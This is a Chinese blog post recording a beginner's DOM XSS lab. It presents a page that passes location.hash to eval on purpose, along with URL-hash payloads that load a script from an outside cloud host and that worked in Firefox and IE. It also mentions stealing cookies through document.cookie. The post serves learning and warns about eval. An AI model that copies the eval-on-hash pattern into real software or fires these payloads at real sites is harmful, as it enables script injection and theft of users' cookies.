美文网首页让前端飞程序员Web前端之路
记一次简单的DOM XSS攻击实验

记一次简单的DOM XSS攻击实验

作者: 趁你还年轻233 | 来源:发表于2017-12-02 13:02 被阅读836次

之前就对XSS有所耳闻,不过昨天在学习《深入浅出nodejs》过程中,才深入了解到XSS攻击的原理,于是找到那本很早就想看的《web前端黑客技术解密》,找到 跨站攻击脚本XSS 章节,于是有了下面这个简单的DOM XSS攻击实验。

index.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>XSSdemo</title>
</head>
<script>
    eval(location.hash.substr(1))
</script>
<body>
    
</body>
</html>

关键代码:eval(location.hash.substr(1))

xss.js(XSS攻击脚本,存储在七牛云上:http://ov6jc8fwp.bkt.clouddn.com/xss.js

alert("你的网站被XSS攻击了!")

关键代码:alert("你的网站被XSS攻击了!")
Cookie被经常当作输入点,可以使用escape(document.cookie)来获取用户Cookie中保存的敏感信息,例如电话号码,密码等等。

如何进行攻击?

待访问文件xss.html的url上加上hash值。
#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

例如:
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

在真实环境中,这段file:///C:/Users/jack/Desktop/XSSdemo/可以是http://192.168.32.89:80/,http://192.16.32.89:8080/等真实地址。
完整形式如:http://192.16.32.89:8080/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

可以攻击Chrome吗?

在Chrome中输入

file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

会被Chrome拦截,拦截截图如下:

为什么会被拦截?
因为Chrome 的filter防御机制会导致这个无法成功,其它浏览器可以被攻击。

那么如何攻击FireFox呢?

(浏览器版本为Firefox 57.0 Quantum版)
需要对原始攻击代码做下简单调整。
eval(decodeURI(location.hash.substr(1)))
相应的访问链接也更改为file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

XSS攻击FireFox成功!



可以看到,XSS脚本被成功写入到index.html


IE可以被攻击吗?

(浏览器版本为IE11.726.15063.0 )
XSS攻击IE11成功!


攻击了这么久,难道我是要去绿,哦不,黑别人吗?
NoNoNo,我是为了让自己的网站更加安全。

之前有了解到javascript的eval()会有安全问题,通过今天的例子,才明白eval()原来会帮助 XSS攻击输入点代码进行攻击,例如:
本例中的输入点为location.hash.substr(1),其值为'document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")'

本质上eval(decodeURI(location.hash.substr(1)))
其实就是执行了eval'(document.write(`<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")')

简单来说,eval()会执行XSS跨站攻击脚本,前端工程师在开发过程中要注意eval()使用存在的安全隐患。

对于浏览器喜爱程度,我想Chrome在防御XSS攻击方面又为自己加了不少分,以后强推Chrome又多了一个理由。

其实关于XSS攻击还有很多学问在其中,我所了解到的只是冰山一角,后续再继续探索!

That's it !

期待和大家交流,共同进步,欢迎大家加入我创建的与前端开发密切相关的技术讨论小组:

努力成为优秀前端工程师!

相关文章

  • 记一次简单的DOM XSS攻击实验

    之前就对XSS有所耳闻,不过昨天在学习《深入浅出nodejs》过程中,才深入了解到XSS攻击的原理,于是找到那本很...

  • XSS

    XSS: 被攻击网站存在XSS漏洞,攻击者通过构造URL(DOM Based XSS)或者将攻击脚本存储在被攻击网...

  • web安全1

    xss 类型 Dom Based Xss、反射型Xss和存储型Xss 攻击 获取cookie基本是配合csrf一起...

  • XSS攻防实例

    这篇是继上篇XSS跨站脚本攻击的后篇 1、XSS攻击实例分析 例1、简单XSS攻击 留言类,简单注入javascr...

  • web安全

    一、xss 根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。 两大要素:攻击者提交恶意代码;...

  • XSS攻击实验

    最近看了关于xss攻击的相关知识点,想找个小站试一下结果没成功,自己搭了bwapp的环境,做了一个关于XSS - ...

  • Android安全之WebViewUXSS漏洞

    0X01 前言 XSS是我们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(...

  • 跨站脚本攻击(XXS)

    1、什么是XSS攻击 XSS攻击是指黑客网HTML文件中或者DOM中注入恶意脚本,从而使用户在浏览页面时利用恶意的...

  • 网站漏洞处理总结

    最近实验室网站检测出了漏洞,需要修复,以下对修复内容给做点总结 1. XSS 攻击 XSS 攻击全称跨站脚本攻击,...

  • laravel的CSRF防护机制和延伸

    在说laravel框架里对CSRF的攻击防护之前先对XSS和CSRF攻击做一下简单的介绍。 XSS和CSRF攻击 ...

网友评论

    本文标题:记一次简单的DOM XSS攻击实验

    本文链接:https://www.haomeiwen.com/subject/ljknbxtx.html